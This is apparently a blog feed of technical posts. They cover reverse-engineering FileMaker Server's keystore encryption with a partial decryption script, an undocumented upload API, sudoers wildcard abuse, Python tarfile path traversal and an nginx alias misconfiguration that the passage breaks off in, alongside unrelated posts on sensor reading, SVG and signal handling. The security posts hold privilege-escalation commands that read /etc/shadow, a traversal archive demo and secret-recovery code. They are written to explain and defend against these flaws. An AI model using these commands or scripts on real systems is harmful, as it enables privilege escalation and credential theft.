A few additional things to note: 1) the mentioned hash is not just a SHA-1 hash but an invocation of HMAC. Thus, we’re running SHA-1 twice to come up with our hashes in each iteration. 2) The salt being used here is certainly not random (the default fmserver username) and the iteration count is rather low and also likely to be the same or in a close range for every machine (being the user ID). Since the “password” is already a hash created from a unique identifier (see later in this article), though, this might be less problematic. I assume that this was done like this to easily “break” the key once any of the variables on the system change, which would force a user to re-enter the EAR password.

Given the information we got so far, we should be able to reproduce the key (even though, we still don’t know how that password is created).

Back in Python, we can do:

import binascii
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1

salt = 'fmserver'
count = 997
password = bytes.fromhex('<the value at 0x7f778c01a5c0>')
key = PBKDF2(password, salt, 32, count=count, hmac_hash_module=SHA1)

print(binascii.hexlify(key))

Running the script, we can now generate the same key that we have discovered above. Cool, one step further!

Figuring out how the password is created

The last piece of information we need is how the password which is being passed to PBKDF2 is created .

Since the password which we discovered was 16 bytes long and we earlier saw a call to GetPersistentID (which, if equivalent to the Get(PersistentID) function, also returns 16 bytes sequences), we could assume that the password we saw was just said machine identifier.

If we compute the persistent ID of the server (for example via Perform Script on Server[]), however, we realize that the value doesn’t match – either because they are indeed different implementations or because the password is just created differently.

To understand how the server arrives at the previously detected password, we can continue in two ways. Either we step through the instructions of Draco::KeyStorageProvider::CryptData (which calls the previously analysed ComputePasswordHashRawBytes) or we go a couple of steps back and check again, if we can find other interesting symbols now that we have learned a bit more and know the KeyStorageProvider class is involved.

For the latter strategy Draco::KeyStorageProvider::GetInstance() seems like a good starting point.

Setting a breakpoint and entering the function, we see the following:

(gdb) disas
Dump of assembler code for function Draco::KeyStorageProvider::GetInstance():
 0x00007f3ef752b4c0 <+0>: push %rbx
 0x00007f3ef752b4c1 <+1>: mov 0x20b3c9(%rip),%al # 0x7f3ef7736890 <_ZGVZN5Draco18KeyStorageProvider11GetInstanceEvE8instance>
 0x00007f3ef752b4c7 <+7>: test %al,%al
 0x00007f3ef752b4c9 <+9>: je 0x7f3ef752b4d4 <Draco::KeyStorageProvider::GetInstance()+20>
 0x00007f3ef752b4cb <+11>: lea 0x20b2ae(%rip),%rax # 0x7f3ef7736780 <_ZZN5Draco18KeyStorageProvider11GetInstanceEvE8instance>
 0x00007f3ef752b4d2 <+18>: pop %rbx
=> 0x00007f3ef752b4d3 <+19>: retq

We have a test right at the beginning, meaning we likely return early, if the KeyStorageProvider has already been instantiated. However, once we’re in this function, we can also look at what’s in memory.

We can see that the previously discovered password a04d.. is already set here, so we might need to find where we initialize the provider for the first time (and thus where the password is being created).

As mentioned in the beginning of the article, I’ll brush over some details here to not make a “point-and-shoot” decryption script available, but leave this as an exercise for the reader.

What you have to look for is the initialization function for the KeyStorageProvider (which is executed during first start of the server) and another function that derives the password.

In it you will find that an MD5 context is built, which then gets fed the machine’s persistent ID and another secret (you know it when you see it). Eventually, a 16-byte MD5 checksum is created, which matches the password we saw earlier.

Having found this final part, we can now re-create the key and decrypt keystore values. The following Python script shows how you could do it in a program, leaving a few details out for the reasons mentioned above:

import hashlib
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1


def decrypt(key, iv, ciphertext):
 decoded_ciphertext = base64.b64decode(ciphertext)

 cipher = AES.new(key, AES.MODE_CBC, iv=iv)
 plaintext = cipher.decrypt(decoded_ciphertext)

 return unpad(plaintext, 16)


def derive_key():
 secret = b'' # the full secret string discovered in the last part

 password = hashlib.md5(secret).digest()

 count = 997 # uid
 salt = 'fmserver' # username

 return PBKDF2(password, salt, 16, count=count, hmac_hash_module=SHA1)


def main():
 ciphertext = b'' # base64-encoded ciphertext from keystore

 key = derive_key()
 iv = 16 * b'\x00' # null IV

 plaintext = decrypt(key, iv, ciphertext)
 print(f'plaintext: {plaintext.decode()}')


if __name__ == '__main__':
 main()

How about macOS?

So far we’ve been working with a default Linux installation. To come to the same conclusion on macOS, you can use lldb instead of gdb.

To attach lldb to a running process, you will have to disable macOS’ System Integrity Protection or remove the code signature first, though.

The discovery process is more or less the same, although the syntax for lldb is a bit different.

After looking into it, I can tell you that the encryption/decryption process is the same, as is expected.

Naturally, on macOS the username and user id that go into the key derivation could be different. For a default installation the full name of the user is “fmserver User”. For the derivation this string is concatenated to the actual username “fmserver”.

You can find out the full user info with the following command (change fmserver for the username you run FMS under):

dscacheutil -q user | grep 'name: fmserver' -A6

How about Windows?

I only had a brief look at Windows. It seems that the encryption/decryption process works a bit different here.

I haven’t spent much time looking into this and wanted to write up my findings first. Maybe I’ll look into it in the future.

Conclusion

I hope this post was helpful to you learning how FileMaker Server handles the secrets you decide to store on the machine.

As we saw it’s not unfeasable to recover the plaintexts. While this is expected and “by design” as the server needs to do the same, you can now judge how easy or hard it is.

I reported some things that could be improved or might be a bug to Claris and hope the keystore will be improved as a result.

The decision for or against storing the EAR passwords really depends on your use-case. If uptime is very important and you need your databases to auto-open after a reboot, there’s no way around to storing them on disk (and I don’t think that’s an unreasonable decision – I have setups where I do the same).

You may also look into restricting access to the keystore file, i.e. remove permissions for other (it seems the only user/group accessing it should be, by default, fmserver and fmsadmin).

Generally, with enough time and patience you will (at least theoretically) always get to some of the data if you have root access to the live server and the databases are opened. Having the original EAR password stored and the keystore file readable by everyone just makes it much easier.

Updates:

2023-05-31: Corrected the macOS section to include that you can remove the code signature instead of disabling SIP. Thanks, Alex.

Uploading files to FileMaker Server without a Pro client

Thu, 16 Mar 2023 00:00:00 +0000

Back in the dark ages the FileMaker Server admin console (then Java Web Start) allowed you to remotely upload new fmp12 files to the server. For some reason this feature did not survive the admin console rewrite a decade (?) ago. Rather, the upload feature was integrated into the Pro client. Later, as the Admin REST API was released, the upload feature was still missing.

The only two options to upload fmp12 files to the server are thus:

use the Pro client to upload
upload by copying files directly onto the server (manually or scripted)

A couple of days ago I wondered if there’s any technical reason the Admin HTTP API doesn’t support this feature or if the Pro client does something special. So I decided to have a quick look at it – and it turns out, FileMaker Pro is actually just using an internal HTTP API.

Looking at the wire

I started the FileMaker Pro client, selected the Upload feature and listened to the network traffic.

By default, all you see is TLS traffic which isn’t so helpful. Since the traffic was going to port 443 rather than FileMaker Server’s default 5003 I assumed this was just encrypted HTTP traffic.

I had my test FileMaker Server installed on Linux, so I checked the SSL settings in the nginx config at /opt/FileMaker/FileMaker Server/NginxServer/conf/fms_nginx.conf as nginx receives all the traffic on port 443.

nginx actually gives the traffic to the fmserverd process which has a listener on the loopback interface on port 1895.

In the config I relaxed the security settings a bit so that I can easily decrypt the traffic on the fly. This meant:

Disable the TLSv1.2 and TLSv1.3 protocol
Change the cipher to AES128-SHA (to not have to worry about forward secrecy)

# ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers AES128-SHA;

Then I imported my private key that I generated for my test server into Wireshark (Preferences -> RSA Keys), restarted the web server (fmsadmin restart httpserver) and listened again to the traffic.

There are other ways of doing this, but at the time this seemed like a quick way to get to the result.

Analysing the traffic flow

Being able to now follow the HTTP stream in Wireshark made it quite obvious how the communication for the upload worked.

When opening the Upload dialog in FileMaker Pro, the client asks the server for some basic info:

GET /fmws/serverInfo HTTP/1.1
Host: the-server
Accept: */*

The server then replies with a json structure describing the installation (version, settings, license type, etc.). It also sends a public RSA key (more on that later).

{
	"data" :
	{
		"APIVersion" : 1.0,
		"AcceptEARPassword" : true,
		"AcceptEncrypted" : true,
		"AcceptUnencrypted" : true,
		"AdminLocalAuth" : "on",
		"AllowChangeUploadDBFolder" : true,
		"AutoOpenForUpload" : false,
		"DenyGuestAndAutoLogin" : "false",
		"Hostname" : "the-server",
		"IsAppleInternal" : false,
		"IsETS" : false,
		"PremisesType" : "0",
		"ProductVersion" : "13",
		"PublicKey" : "-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQ<snip>\n-----END RSA PUBLIC KEY-----\n",
		"RequiresDBPasswords" : true,
		"ServerID" : "<id>",
		"ServerVersion" : "19.6.3 302(12-29-2022)"
	},
	"result" : 0
}

Once you add your server credentials in Pro (still in the Upload dialog), the client authenticates to the server using your provided username and password in encrypted form (note that this traffic is normally already encrypted and not readable by a third person).

GET /fmws HTTP/1.1
Host: the-server
Accept: */*
X-FMS-Command: authentication
X-FMS-Encrypted-Username: <base64 encoded ciphertext>
X-FMS-Encrypted-Password: <base64 encoded ciphertext>
[...]

The server replies with a session token which is subsequently added as a header (X-FMS-Session-Key) to all requests:

{
	"data" :
	{
		"sessionKey" : "C1DC02CB2D441388DC7956D9B3863D61"
	},
	"result" : 0
}

The client goes on to get the database folder list, files and available free space (all via /fmws endpoints).

Once you select your database file in the client and eventually click on “Upload”, a PUT request is issued to the server (here for the main DB folder):

PUT /fmws/MainDB/UploadTemp_FMS/C1DC02CB2D441388DC7956D9B3863D61/test.fmp12 HTTP/1.1
Host: the-server
Accept: */*
Content-Type: application/octet-stream
X-FMS-Command: upload
X-FMS-Append-Checksum: false
X-FMS-Session-Key: C1DC02CB2D441388DC7956D9B3863D61
Content-Length: 282624
Expect: 100-continue

<the fmp12 file's contents>

There are a couple of more requests to send a start and end event, a request to open the database, a status check and so on, but essentially this is all there is to uploading a database. If your app uses remote containers, these are sent as well to the /fmws/MainDB/UploadTemp_FMS/ endpoint (followed by the container folder structure).

Building my own client

While the above may sound quite involved, it takes a relatively short time to figure out the relevant requests and responses when you control all the components (the client, the network and the server). So I decided to try to build my own “quick and dirty” client to be able to upload files.

Once I had the basic structure of the requests, I could easily experiment with different headers and payloads. This was helpful to figure out one important thing: how does the client encrypt the username and password (the credentials that are also used for the admin console/api).

Since the server needs to be able to decrypt the encrypted credentials, the client needs to use information the server actually has as well. The ciphertexts were changing with every authentication but were nicely aligned in size. So I just tried to encrypt my admin credentials using the public key which the server gives the client as part of the step before the authentication (via the /fmws/serverInfo endpoint). This worked and I got a valid session token back.

The public key is stored on the server at /opt/FileMaker/FileMaker Server/CStore/machinePublicKey and obviously differs from installation to installation.

With this information I had everything I needed to replicate the HTTP traffic for uploading a file.

On GitHub you can find the script that let’s you upload a single file. If all works, the output looks like this. If not, the script likely crashes.

$ python3 upload.py
Usage: python3 upload.py <host> <username> <password> <file>

$ python3 upload.py host.example.com admin password test.fmp12
INFO:Getting RSA public key
INFO:Getting session token
INFO:Got session token: 7EF28EA9E1C9AADDEF745E0B576C84B4
INFO:Sending upload start event
INFO:Uploading file
INFO:Upload done
INFO:Sending upload end event
INFO:Sending open database command
INFO:Checking status
INFO:DB open
INFO:Done

Word of caution: As should be clear from the post, my custom client is the result of me figuring out an undocumented API for a couple of hours in the evening. This is obviously not a stable solution to handle your precious database applications :-) It also only uploads to the MainDB folder, skips the checks the FileMaker Pro client does, and has no support for remote containers (but could all be added). If you want a stable solution, please use the official Pro client or copy files directly onto the server.

Conclusion

I don’t really have a conclusion to this for now, but it’s nice (and potentially useful) to know that there’s a HTTP API on the server for direct database uploads that does not require you to have access to the whole server system but also does not really require a full-blown Pro client.

Why is it not part of the admin API or console? It could be a variety of business or technical reasons and speculating about it is probably not a very useful way to spend time :-)

Beware of wilcards paths in sudo commands

Fri, 24 Feb 2023 00:00:00 +0000

Say you want to allow a non-root user on Linux to execute a couple of scripts as root or another user with more privileges. A common way of doing this is to make an entry in the sudoers file.

If the scripts are written in Python, it could look something like this:

johndoe ALL=(ALL) /usr/bin/python3 /opt/utils/*.py

Essentially, this means that the user johndoe can execute /usr/bin/python3 /opt/utils/*.py on any machine (ALL) as any user ((ALL)).

If the scripts in /opt/utils/ are not writable for johndoe and there is no way for him to create new files in that directory, this looks okay at first.

What could go wrong?

The problem, though, is that if johndoe can write anywhere else (which is always the case), he can easily get a root shell (or do literally anything else) due to the wildcard character in the path argument to python3.

For example via a simple path traversal:

sudo /usr/bin/python3 /opt/utils/../../home/johndoe/gotcha.py

* matches any character (including whitespace, as we see further below), so a user is free to modify the path as desired.

So while the wildcard sounds like an easy way to solve the initial problem, it is always better to be explicit about what a user can do (either by putting a restricting regular expression in place or – even better – always explicitly targeting a file or declaring a static argument), for example by listing all the full commands with the different arguments that are allowed to be executed or by building a small wrapper program.

Not a problem specific to interpreted scripts

This is not solely a problem related to executing scripts with an interpreter (like the above example) but applies in general.

The sudo documentation presents another example using cat:

%operator ALL = /bin/cat /var/log/messages*

Here, users in the operator group are supposed to cat only messages files. But simply adding a second argument using whitespace (which is covered by *) would allow them to read any file:

sudo cat /var/log/messages /etc/shadow

The suggested safer alternative from the documentation is:

%operator ALL = /bin/cat ^/var/log/messages[^[:space:]]*$

This works fine when your path points to a file (which is expected when targeting /var/log/messages). If messages were a directory and not a file, you would have the same issue as above, though.

Conclusion: always be explicit in your sudoers file about what you want to allow.

Reading Aranet4 sensor data from Python

Sun, 05 Feb 2023 00:00:00 +0000

I got myself an Aranet4 device to monitor CO2 levels in my office.

The monitor gives pretty accurate readings and has very low energy demands (due to the e-ink display) (here’s the datasheet).

While the intended way to read the measurements is to use the mobile app, it’s always good to be able to access the raw data yourself; you get to store as many readings as you like (otherwise limited to past 7 days) and can analyse them in any way you want.

Get the readings using Python (via BLE)

The Aranet4 communicates with the app via Bluetooth Low Energy (BLE). So my plan was to find a BLE library for Python and then figure out how to get the current readings.

This turned out to be much easier than I thought it would, as there are already a couple of clients out there that identified the data format and GATT characteristics.

To get the current readings of the device essentially requires two steps:

Figure out the device address
Ask the device for the current data using the GATT characteristic UUID (I found it on this list).

Using bleak for the BLE communication we can first scan for nearby devices:

async def main():
 devices = await BleakScanner.discover()
 for device in devices:
 print(device.address, device.name)

asyncio.run(main())

The Aranet4 device will show up with the name (wait for it…) “Aranet4” and an address.

Next, we connect to it, ask for the current reading using the characteristic UUID mentioned above (f0cd3001-95da-4f4b-9ac8-aa55d312af0c) and interpret the returned data to get the individual readings (unsigned char/short to Python int): CO2, temperature, atmospheric pressure, humidity, battery level, status (the three levels shown on the device), measurement interval (default 5 min.), age (seconds since measurements were taken).

import asyncio
import struct
from bleak import BleakClient

CURRENT_READING = 'f0cd3001-95da-4f4b-9ac8-aa55d312af0c'

async def main(address):
 async with BleakClient(address) as client:
 data = await client.read_gatt_char(CURRENT_READING)
 readings = struct.unpack('<HHHBBBHH', data)
 print(f'co2: {readings[0]}ppm')
 print(f'temperature: {readings[1]/20}C')
 print(f'pressure: {readings[2]/10}hPa')
 print(f'humidity: {readings[3]}%')
 print(f'battery: {readings[4]}%')
 print(f'status: {readings[5]}')
 print(f'interval: {readings[6]}s')
 print(f'age: {readings[7]}s')

asyncio.run(main('<address identified during scan>'))

Running the code will give us:

co2: 1443ppm
temperature: 22.95C
pressure: 1031.3hPa
humidity: 38%
battery: 93%
status: 3
interval: 300s
age: 38s

… which means I should get some fresh air in :-)

SVG and JavaScript: transform viewport coordinates into element coordinates

Fri, 13 Jan 2023 00:00:00 +0000

A couple of months ago I built a JavaScript application that allows adding points and labels to locations on a building floorplan. The whole canvas (not HTML <canvas>) is a SVG document inside an HTML document and points/objects/labels/etc. are added to that canvas as native SVG elements.

Users can add/move objects on the floorplan but also zoom and pan the floorplan itself.

When performing these actions it is important to transform coordinates from the screen or viewport (like the position of your mouse/fingers) into coordinates that make sense in your SVG element’s coordinate system.

In this post I want to share some of my notes and a simplified example on how to achieve this using a group element with a transform attribute and a few objects (circle elements) inside.

Panning, Zooming, Dragging

Let’s say we have a setup as shown in the following Gif:

We can move the canvas, we can move objects, zoom in and then move objects again in a zoomed/panned state.

If you look at the inspector window you see that the zooming and panning is performed by changing the transform attribute on the group element with id main, and that moving an object (a circle element) just changes the respective cx and cy values (as the objects are inside the transformed group).

All the movements follow the mouse pointer in a reasonably fast manner.

Implementing the start of the pan

A first (incomplete) approach to implementing the panning or dragging could be to store clientX and clientY from the mousedown or touchstart event and then calculate the difference to the clientX and clientY from the mousemove or touchmove event. While this difference represents the amount the mouse moved in the browser’s viewport (window), it cannot be directly applied to the transformation matrix of our main element as the SVG document on the page may not cover the whole viewport, might be in a scaled state, etc. – in any case, we have at least two different coordinate systems.

The effect when not translating the coordinates is usually that objects move either much faster or much slower than your mouse pointer.

Let’s now see how we can transform the coordinates you get from events to coordinates you can use in your SVG document.

A minimal HTML document with an SVG document inside (as seen in the Gif above) could look like this:

<html>
 <head>
 <title>SVG app</title>
 <meta charset="utf-8" />
 <meta name="viewport" content="width=device-width, initial-scale=1">
 </head>
 <body>
 <div id="canvas-wrapper">
 <svg
 id="canvas"
 viewBox="0 0 1024 768"
 preserveAspectRatio="xMidYMid"
 xmlns="http://www.w3.org/2000/svg"
 >
 <g
 id="main"
 transform="matrix(1 0 0 1 0 0)"
 >
 <image
 x="0"
 y="0"
 width="1024"
 height="768"
 xlink:href="background.png"
 ></image>
 <!-- some "random" points -->
 <circle id="p1" cx="512" cy="284" r="4" fill="blue" stroke="black" />
 <circle id="p2" cx="500" cy="300" r="4" fill="red" stroke="black"/>
 <circle id="p3" cx="490" cy="330" r="4" fill="red" stroke="black" />
 <circle id="p4" cx="430" cy="250" r="4" fill="red" stroke="black" />
 </g>
 </svg>
 </div>
 </body>
</html>

Let’s say we want to start our panning action when the user clicks on the div with the id canvas-wrapper.

Once the document is ready, we register the event listener, for example like this:

document.getElementById('canvas-wrapper').addEventListener('mousedown', onPanStart);

Our function onPanStart could look like this:

function onPanStart(e) {
 const {clientX, clientY} = e;

 // get our own transform matrix from the main element
 // (we will modify this as we move our mouse along)
 const currentTransform = getTransform();

 // get the transform matrix used to convert from the SVG element's
 // coordinates to the screen/viewport coordinates
 const sctm = document.getElementById('main').getScreenCTM();

 const mouseStart = transformFromViewportToElement(clientX, clientY, sctm, currentTransform);

 canvas = {
 mouseStart,
 transform: currentTransform,
 sctm
 }

 document.getElementById('canvas-wrapper').addEventListener('mousemove', onPan);
 document.getElementById('canvas-wrapper').addEventListener('mouseup', onPanEnd);
}

In a nutshell:

We get the clientX and clientY representing the point in the viewport where the event (mousedown) occured.
Then we get the transform matrix of our main group (in the beginning [ 1, 0, 0, 1, 0, 0 ]) which we later use to translate/scale. The getTransform function simply reads the transform attribute and creates an array from it:

function getTransform() {
 const matrix = document.getElementById('main').getAttribute('transform');
 return matrix.replace(/^matrix\(/, '').replace(/\)$/, '').split(' ').map(parseFloat);
}

Also from our main SVG element, we get the matrix that transforms the element’s coordinate system to the viewport’s coordinate system.
Now comes the interesting part: we transform our coordinates from the event into coordinates for the element’s coordinate system (transformFromViewportToElement function explained below).
Finally, we store the values in variable named canvas (let canvas = {}) for later access and add the event listeners for the actual panning (mousemove) and end (mouseup).

All the magic happens in the transformFromViewportToElement function:

function transformFromViewportToElement(x, y, sctm=null, elementTransform=null) {
 // Transforms coordinates from the client (viewport) coordinate
 // system to coordinates in the SVG element's coordinate system.
 // Call this, for example, with clientX and clientY from mouse event.

 // create a new DOM point based on coordinates from client viewport
 const p = new DOMPoint(x, y);

 // get the transform matrix used to convert from the SVG element's
 // coordinates to the screen/viewport coordinate system
 let screenTransform;
 if (sctm === null) {
 screenTransform = document.getElementById('main').getScreenCTM();
 } else {
 screenTransform = sctm;
 }

 // now invert it, so we can transform from screen/viewport to element
 const inverseScreenTransform = screenTransform.inverse()

 // transform the point using the inverted matrix
 const transformedPoint = p.matrixTransform(inverseScreenTransform)

 // adjust the point for the currently applied scale on the element
 if (elementTransform !== null) {
 transformedPoint.x *= elementTransform[0]; // scale x
 transformedPoint.y *= elementTransform[3]; // scale y
 }

 return {x: transformedPoint.x, y: transformedPoint.y}
}

I commented each step in the function above. Essentially, we create a point with our event coordinates, take the matrix used to convert from the element to the viewport, invert it (since we want the opposite) and then do a matrix transform of our point with said matrix. In case we are working with a transformed element (as is the case for our canvas panning, but not for object dragging) and are in a zoomed-in/out state, we also want to apply that scale to our coordinate.

Actual panning and ending

To complete our basic example, let’s see how the onPan and onPanEnd functions could look like:

function onPan(e) {
 const {clientX, clientY} = e;
 const client = transformFromViewportToElement(clientX, clientY, canvas.sctm, canvas.transform);

 // calculate how much we have moved from the starting point
 const movement = {
 x: canvas.mouseStart.x - client.x,
 y: canvas.mouseStart.y - client.y
 };

 // set `tx` and `ty` (translate x, y) of matrix with the offset that
 // was set at the beginning of the movement minus the actual movement.
 const startMatrix = [...canvas.transform];
 startMatrix[4] = startMatrix[4] - movement.x;
 startMatrix[5] = startMatrix[5] - movement.y;

 // update the actual transform attribute of the SVG `main` group
 document.getElementById('main').setAttribute(
 'transform', `matrix(${startMatrix.join(', ')})`);
}

function onPanEnd(e) {
 canvas = {};

 document.getElementById('canvas-wrapper').removeEventListener('mousemove', onPan);
 document.getElementById('canvas-wrapper').removeEventListener('mouseup', onPanEnd);
}

In the onPan function we get and transform the new event coordinates (where the mouse pointer is now) in the same way as we did before, then calculate the difference between start and current position, apply the difference to the original (at start of pan) transform matrix’s tx and ty (index 4 and 5), and finally set the transform attribute of main to the updated matrix.

Note that we are changing the matrix of our transform attribute of the group here – this is not the matrix obtained by getScreenCTM!

In onPanEnd we simply reset our global canvas variable and then remove the listeners.

Dragging and dropping objects

The dragging of objects could be implemented in the same way (using transformFromViewportToElement). The only difference here is that we would modify the x and y coordinates (or rather cx and cy) directly (instead of a transform attribute), and also ignore the current scale of the group element’s transform matrix (set elementTransform parameter of transformFromViewportToElement to null).

Handling and confirming (interrupt) signals in Python

Thu, 29 Sep 2022 00:00:00 +0000

Let’s say you have a long-running Python script that should run uninterrupted or perform a graceful shutdown should a user decide to terminate it ahead of completion.

By default, sending an interrupt (usually by pressing <Control-C>) to a running Python program will raise a KeyboardInterrupt exception.

One way of (gracefully or not) handling interrupts is to catch this specific exception. For example like this:

while True:
 try:
 do_your_thing()
 except KeyboardInterrupt:
 clean_up()
 sys.exit(0)

This generally works fine. However, you can still trigger another KeyboardInterrupt while the clean_up is running and thus interrupt the clean-up process. Also, as interrupts might be sent accidentally (ever cancelled the wrong script because you thought you were in a different pane?), it would be nice to let the user confirm that the script should indeed be interrupted.

Let’s see how we can make a script that can deal with both of these situations.

Handling signals instead of `KeyboardInterrupt`

Instead of handling the KeyboardInterrupt exception that Python gives you by default for an interrupt, you can also define your own own signal handlers. This will not only allow you to customize the behavior of an interrupt signal, but the behavior for any signal that can be caught (another good example is when your program is suspended, for example with <Control-z>).

Python comes with a built-in signal module that makes it easy to register your own handlers.

Let’s see an example which you can acutally execute:

import sys
import time
import signal


def interrupt_handler(signum, frame):
 print(f'Handling signal {signum} ({signal.Signals(signum).name}).')

 # do whatever...
 time.sleep(1)
 sys.exit(0)


def main():
 while True:
 print('.', end='', flush=True)
 time.sleep(0.3)


if __name__ == '__main__':
 signal.signal(signal.SIGINT, interrupt_handler)

 main()

With signal.signal we can set a new handler for a given signal. Here, we define that whenever a SIGINT (interrupt, signal number 2) request comes in, we want to execute interrupt_handler. Once set, we overwrite the default behavior and won’t get any KeyboardInterrupts anymore (although you could easily recreate the default behavior by setting the previous handler again, which is returned by signal()).

Running the program and then sending an interrupt (<Control-c>) will now look something like this:

$ python3 demo.py
.....^CHandling signal 2 (SIGINT).
$

Since we introduced a little delay in the handler, you can see what happens when we press <Control-c> again before the program exits.

$ python3 demo.py
.......^CHandling signal 2 (SIGINT).
^CHandling signal 2 (SIGINT).
^CHandling signal 2 (SIGINT).
^CHandling signal 2 (SIGINT).
$

The handler is called multiple times. Depending on what your function does, this may or may not be a problem. We’ll look at one way of trying to control this later on.

Let the user confirm the interrupt

Let’s say we want to implement the initially described behavior where a user must confirm an interrupt by sending another one.

One way of accomplishing this is to set a different handler once the signal is handled the first time. Going back to the original code, we can add a parameter ask to our handler and then call it first with True, then with False:

import sys
import time
import signal
from functools import partial


def interrupt_handler(signum, frame, ask=True):
 print(f'Handling signal {signum} ({signal.Signals(signum).name}).')
 if ask:
 signal.signal(signal.SIGINT, partial(interrupt_handler, ask=False))
 print('To confirm interrupt, press ctrl-c again.')
 return

 print('Cleaning/exiting...')
 # do whatever...
 time.sleep(1)
 sys.exit(0)


def main():
 while True:
 print('.', end='', flush=True)
 time.sleep(0.3)


if __name__ == '__main__':
 signal.signal(signal.SIGINT, interrupt_handler)

 main()

Running the program should now look like this:

$ python3 demo.py
....^CHandling signal 2 (SIGINT).
To confirm interrupt, press ctrl-c again.
...^CHandling signal 2 (SIGINT).
Cleaning/exiting...

Instead of functools’ partial, we could also use a lambda expression like signal.signal(signal.SIGINT, lambda sig, frame: interrupt_handler(sig, frame, ask=False)), create a separate function altogether or wrap it in a class. The important thing is just to register a different behavior for the same signal.

Ignoring signals

We still have the problem that repeatably pressing <ctrl-c> will lead to multiple calls to the same handler, which might be problematic when doing some important cleanup actions, releasing resources, etc.

A simple way of stopping further calls to the handler is to reset the handler for the signal yet again – this time to ignore interrupts by using the SIG_IGN handler:

if ask:
 ...
else:
 signal.signal(signum, signal.SIG_IGN)

Running the program now you will see that the “Cleaning/exiting” part only happens once, even when you keep pressing <ctrl-c>.

Please note: The behavior you are going to implement should always take user expectations and the context of the actions that are being performed by your script into consideration. Depending on what your program does, explicitly ignoring interrupts can also be anything from annoying to dangerous. If an interrupted clean-up is not a big deal, I would recommend that you just register the default handler again before starting your clean-up (remember that signal.signal returns the previously registered signal handler). This way, the running program can be interrupted again just like anyone would expect.

Extending to other signals like TSTP and CONT

Just like we handled the INT signal above, you can handle other signals in the same way as well.

For example, if you want your script to also do some cleanup and re-setup (say, for re-establishing connections) when suspended or continued, respectively, you could just register your handler for these signals:

signal.signal(signal.SIGTSTP, handler)
signal.signal(signal.SIGCONT, handler)

A few caveats at the end

While the above use-cases work just fine, there can be situations where signals are not executed in the way/at the time you might expect. This is due to how Python itself handles the signal, as in it is rather setting a flag that a signal should be handled at the next bytecode instruction than handling it directly at a lower level. As the documentation points out, this might cause a (possibly noticeable) delay until your handler is called (due to a block in the lower-level execution).

Another behavior to know is that signals are always executed/received in the main thread and must only be set there.

Python tarfile directory traversal

Fri, 23 Sep 2022 00:00:00 +0000

Currently, there’s a lot of hype around the behavior of Python’s tarfile module for extracting archives. In short: tarfile will not sanitize filenames in archives to prevent directory traversal attacks. For example, creating an archive and adding a file with a leading ../ will make the extract* methods create that file in a directory above the current one. This way (or by using an absolute path starting with /), a file can be written to an arbitrary location (given that the user executing the code has the according write privileges).

In 2007 this behavior was filed under CVE-2007-4559. It didn’t lead to a patch of the library, but instead the documentation was updated to include:

Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".

After the article Exploiting the World With a 15-Year-Old Vulnerability and Trellix Launches Advanced Research Center, Finds Estimated 350K Open-Source Projects at Risk to Supply Chain Vulnerability by Trellix this behavior is now on everybody’s radar again.

How does it work?

The behavior is fairly easy to demonstrate.

First, create a demo file (test.txt). Then, create an archive with that file but specify an adjusted name to be used in the archive (../test.txt):

import tarfile

with open('test.txt', 'w') as f:
 f.write('Hello')

with tarfile.open('my_archive.tar', 'w:xz') as tar:
 tar.add('test.txt', arcname='../test.txt')

Next, give that file to a Python application that extracts tar files, for example:

import tarfile

with tarfile.open("my_archive.tar") as tar:
 tar.extractall()

Running the application will extract test.txt into the directory above the current directory. By adjusting the path in arcname you can essentially place the file anywhere you want, given you are allowed to write there. Overwriting critical system files, writing executables, etc. is, of course, all potentially possible.

Is it a vulnerability and is every extract use immediately vulnerable?

The library basically does what the documentation says it does and works according to specifications. While secure defaults are generally preferred, I’m not sure I would classify this as a vulnerability in the library per se, but more so in the projects using the library’s extract* methods without additional member checks.

Still, having an explicit option in Python’s tarfile to allow absolute paths (or those containing ..) like BSD/GNU tar’s -P option would certainly be desirable as it would allow developers to explicitly (or better implicitly) enable these protections. After all, not everybody reads the docs :-)

The above mentioned tar implementations either reject or change the invalid paths and you get a warning like tar: Removing leading ../../../../../../../../../' from member names.

While secure defaults are generally better and it’s a good idea to review your existing code for tarfile usage and check if any externally controllable files can reach the extract methods, I’m always a bit skepitcal about sentences like “a vulnerability estimated to be present in over 350,000 open-source projects and prevalent in closed-source projects”. Resulting news headlines then quickly come up with something like Unpatched 15-year old Python bug allows code execution in 350k projects.

There are surely a number of affected projects where the described behavior can cause a lot of trouble. But, generally, not every use of the extract methods will be with files that can be controlled by an attacker and thus not every call with an unsanitized archive can be exploited. And of those that can be exploited, not every case will lead to immediate remote code execution.

Funny side note: I have seen this issue multiple times deliberately implemented in CTF challenges in the past.

nginx alias misconfiguration allowing path traversal

Sun, 14 Aug 2022 00:00:00 +0000

I recently came across an nginx server that had a vulnerable alias configuration which allowed anyone to read files outside the intended directory. In the following post I will describe the misconfiguration and provide demo files so that you can experiment with it yourself.

The general issue was originally highlighted a few years ago in a BlackHat presentation (Breaking Parser Logic!, Orange Tsai) and apparantly first shown even earlier. While the linked presentation only has a couple of slides on this particular issue it’s worth checking out in full.

The docker setup

Let’s say we have a PHP application that should be served through nginx. To quickly get things running we configure our setup via the following docker-compose.yml file:

version: "3.7"

services:
 web:
 image: nginx:alpine
 ports:
 - 8081:80
 networks:
 - internal
 volumes:
 - ./webapp:/var/www/webapp
 - ./nginx.conf:/etc/nginx/conf.d/default.conf
 depends_on:
 - php

 php:
 image: php:fpm-alpine
 volumes:
 - ./webapp:/var/www/webapp
 networks:
 - internal

networks:
 internal:
 driver: bridge

We have two services, web (nginx) and php, mount our php source code and nginx.conf and have the services on the same internal network.

Our directory structure will look like this:

.
├── docker-compose.yml
├── nginx.conf
└── webapp
 ├── app
 │   ├── db.php
 │   └── webroot
 │   └── index.php
 └── static
 └── sample.png

The nginx config

Our nginx.conf file will be a fairly simple and standard-looking one which already has the issue baked in (can you see it?):

server {
 server_name _;

 root /var/www/webapp/app/webroot;
 index index.php index.html index.htm;

 access_log /var/log/nginx/php-access.log;
 error_log /var/log/nginx/php-error.log;

 location /assets {
 alias /var/www/webapp/static/;
 }

